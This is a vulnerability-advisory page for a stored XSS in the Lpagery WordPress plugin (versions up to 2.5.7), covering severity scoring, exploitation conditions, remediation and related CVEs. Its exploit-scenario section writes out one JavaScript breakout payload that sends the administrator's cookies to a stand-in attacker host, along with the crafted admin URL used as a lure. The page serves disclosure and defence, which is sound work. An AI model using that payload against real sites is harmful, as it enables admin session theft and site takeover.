Skip to main content

Lpagery CVE-2026-15404

| EUVDEUVD-2026-47927 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-23 Wordfence GHSA-8w85-6hx8-qc3f
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Contributor-level WordPress credentials
  2. Delivery
    Create post with single-quote XSS payload in title
  3. Exploit
    Record numeric post ID
  4. Install
    Craft admin URL with ?lpagery_template=<post_id>
  5. C2
    Lure administrator to visit crafted admin URL
  6. Execute
    admin_footer hook renders unescaped post_title into JavaScript
  7. Impact
    Payload executes in admin browser, exfiltrating session tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold at least Contributor-level authenticated access to the target WordPress site - unauthenticated exploitation is not possible per the PR:L CVSS metric. The Lpagery (Bulk Page Generator) plugin must be installed and active. Payload delivery requires the attacker to create or edit a post and embed a malicious string in the post_title field. Execution of the payload requires a higher-privileged user (Administrator or Editor) to access a WordPress admin page with the ?lpagery_template query parameter set to the attacker's post ID; without this specific admin page visit, the stored payload never fires. Sites with open contributor registration, shared editorial teams, or low account-security hygiene face elevated realistic risk. Limiting factors: payload only fires in the WordPress admin panel context and does not affect front-end visitors; a degree of social engineering or timing is required to ensure the admin visits the crafted URL; the attacker cannot independently trigger execution without relying on victim behavior.

Impact

The NVD-assigned CVSS 3.1 score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) contains a notable inconsistency: UI:N implies no user interaction, yet the described attack mechanics require an administrator to access a specific admin URL containing the ?lpagery_template parameter - this is more accurately UI:R, and the effective score is correspondingly lower. Real-world risk is further bounded by the PR:L prerequisite: exploitation requires at minimum Contributor-level credentials, limiting exposure to insider threats, compromised editor accounts, or WordPress sites with open contributor registration. The S:C (Changed Scope) metric is appropriate because a successful exploit executes in the privileged admin browser session, not just the contributor's own context, enabling secondary impact such as full site takeover via session theft. No EPSS data was provided, and no CISA KEV listing or public proof-of-concept has been identified, placing this in the no-confirmed-exploitation category. For multi-tenant WordPress environments or sites permitting open contributor signup, risk should be treated as elevated despite the moderate CVSS score.

Exploit ScenarioDerived

A Contributor-level WordPress user creates a post with a title containing a JavaScript breakout payload such as '); fetch('https://attacker.example/steal?c='+document.cookie);//, exploiting the absence of single-quote escaping in the JavaScript string context. The attacker notes the post's numeric ID, then crafts or socially engineers a URL such as /wp-admin/admin.php?page=lpagery&lpagery_template=<post_id> and lures an administrator to visit it - for example, by embedding the link in an internal draft or a support request. When the admin loads the page, the admin_footer hook fires, the unescaped title is injected into the inline script block, and the payload executes in the admin's browser session, transmitting session tokens to the attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Stored cross-site scripting in the Lpagery (Bulk Page Generator) WordPress plugin, versions up to and including 2.5.7, allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript via crafted post titles. The vulnerability stems from the lpagery_add_filter_text_template_post() function echoing a raw post_title directly into an inline JavaScript single-quoted string literal on every admin page load, with no encoding applied. When an administrator accesses an admin page bearing the ?lpagery_template parameter pointing to the attacker's post, the injected payload executes in the admin's browser context, enabling session hijacking or unauthorized privileged actions. No public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Update the Lpagery plugin to a version beyond 2.5.7; a code fix is confirmed delivered via WordPress.org plugin repository changeset 3611156 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3611156%40lpagery&new=3611156%40lpagery), which should correspond to a release above 2.5.7 - verify the exact patched version number through the WordPress.org plugin page or the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/6720e68e-16fc-48c2-ad56-1f44a3e78bb2. Where an immediate update is not feasible, restrict Contributor-role users from creating or editing posts on sites running this plugin, which eliminates the ability to plant the payload at the cost of editorial workflow disruption. As a partial WAF-level control, block admin requests containing the ?lpagery_template parameter from sessions without Administrator-level authentication; this limits exposure but is bypassable and does not address the root encoding defect. Disabling the plugin entirely until patching is complete is the safest interim option with no security trade-offs beyond loss of the plugin's functionality.

Affected VersionsENISA

Bulk Page Generator – LPagery 0 ≤2.5.7

Affected Packages

euvd bulk_page_generator_lpagery no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw lives in the lpagery_add_filter_text_template_post() function within lpagery.php (lines 502-513 of the 2.5.7 tagged release, confirmed via WordPress.org Trac references). This function is registered as a WordPress admin_footer action hook, causing it to fire on every admin page load. When the ?lpagery_template GET parameter is present, the function queries the database for the corresponding post_title and interpolates that value directly into an inline JavaScript single-quoted string literal - without applying WordPress-native encoding functions such as esc_js(), esc_html(), or wp_json_encode(). An attacker-controlled title containing a single quote and JavaScript syntax can break out of the string context and inject executable code. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) in its stored/persistent variant, because the payload is persisted in the post_title database field before rendering. The affected product is identified in CPE as cpe:2.3:a:niklaslindemann:bulk_page_generator_-_lpagery:*:*:*:*:*:*:*:*.

Know when Wordpress Plugin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L reflects mandatory Contributor authentication; UI:R corrects the NVD vector because an administrator must visit a specifically crafted admin URL to trigger payload execution.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Lpagery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in versions up to, and including, 2.5.7. This is due to insufficient input sanitization and output escaping in the lpagery_add_filter_text_template_post() function, which is hooked to admin_footer and echoes the raw post_title of the post referenced by the ?lpagery_template query parameter directly inside a JavaScript single-quoted string literal, without esc_js(), esc_html(), or any other encoding. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a higher-privileged user (such as an administrator) accesses an admin page with the ?lpagery_template=<post_id> parameter pointing at the attacker's post.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Low
niche WordPress bulk-page-generator plugin with limited enterprise adoption
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-5084 CRITICAL POC
9.8 May 23

The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil

CVE-2024-44000 CRITICAL POC
9.8 Oct 20

Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote

CVE-2020-36847 CRITICAL POC
9.8 Jul 12

The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner

CVE-2025-11749 CRITICAL POC
9.8 Nov 05

The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint

CVE-2025-27007 CRITICAL POC
9.8 May 01

The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut

CVE-2016-1209 CRITICAL POC
9.8 May 14

The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via

CVE-2024-4443 CRITICAL POC
9.8 May 22

The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based

CVE-2024-1698 CRITICAL POC
9.8 Feb 27

SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a

CVE-2023-6875 CRITICAL POC
9.8 Jan 11

The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i

CVE-2024-1512 CRITICAL POC
9.8 Feb 17

The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base

CVE-2024-4295 CRITICAL POC
9.8 Jun 05

The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy